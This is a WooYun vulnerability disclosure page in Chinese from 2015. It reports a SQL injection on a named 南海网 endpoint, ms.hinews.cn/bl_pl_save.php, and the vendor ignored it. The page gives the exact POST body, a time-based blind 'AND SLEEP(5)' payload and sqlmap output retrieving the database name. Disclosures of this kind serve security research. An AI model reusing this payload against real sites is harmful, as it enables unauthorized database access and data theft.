当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0140584

漏洞标题:南海网POST SQL注入#泄露数据

相关厂商:南海网

漏洞作者: 路人甲

提交时间:2015-09-12 09:49

修复时间:2015-09-17 09:50

公开时间:2015-09-17 09:50

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-12: 细节已通知厂商并且等待厂商处理中
2015-09-17: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

南海网POST SQL注入#泄露数据

详细说明:

注入点:http://ms.hinews.cn/bl_pl_save.php
POST数据:

cxingm=88952634&nwenzxh=66923&ddate=2015-09-03&cleib=xinwen& cbiaot=%EF%BF%BD%EF%BF%BD%EF%BF%BD%C7%BA%EF%BF%BD%EF%BF%BD%CF%BC%EF%BF%BD%EF%BF% BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%DE%B9 %EF%BF%BD%CB%BE%EF%BF%BD%EF%BF%BD%D5%A9%D7%A8%EF%BF%BD%EF%BF%BD%CB%BE%EF%BF%BD%E F%BF%BD&cneir=88952634


sqlmap截图:

1.jpg


当前数据库:dbminsheng
sqlmap 查询当前数据库 截图:

2.jpg


漏洞证明:

sqlmap脱裤全过程:

sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: nwenzxh (POST)
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: cxingm=88952634&nwenzxh=66923 AND SLEEP(5)&ddate=2015-09-03&cleib=x
inwen&cbiaot=%EF%BF%BD%EF%BF%BD%EF%BF%BD%C7%BA%EF%BF%BD%EF%BF%BD%CF%BC%EF%BF%BD%
EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD
%DE%B9%EF%BF%BD%CB%BE%EF%BF%BD%EF%BF%BD%D5%A9%D7%A8%EF%BF%BD%EF%BF%BD%CB%BE%EF%B
F%BD%EF%BF%BD&cneir=88952634
---
[19:43:56] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0.11
[19:43:56] [INFO] fetching current database
[19:43:56] [INFO] resuming partial value: d
[19:43:56] [WARNING] time-based comparison requires larger statistical model, pl
ease wait..............................
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
'--time-sec')? [Y/n]
[19:44:18] [WARNING] it is very important not to stress the network adapter duri
ng usage of time-based payloads to prevent potential errors
[19:44:29] [INFO] adjusting time delay to 1 second due to good response times
bmins
[19:45:00] [ERROR] invalid character detected. retrying..
[19:45:00] [WARNING] increasing time delay to 2 seconds
[19:45:22] [ERROR] invalid character detected. retrying..
[19:45:22] [WARNING] increasing time delay to 3 seconds
[19:45:42] [ERROR] invalid character detected. retrying..
[19:45:42] [WARNING] increasing time delay to 4 seconds
[19:46:07] [ERROR] invalid character detected. retrying..
[19:46:07] [WARNING] increasing time delay to 5 seconds
heng
current database: 'dbminsheng'


修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-09-17 09:50

厂商回复:

漏洞Rank:4 (WooYun评价)

最新状态:

暂无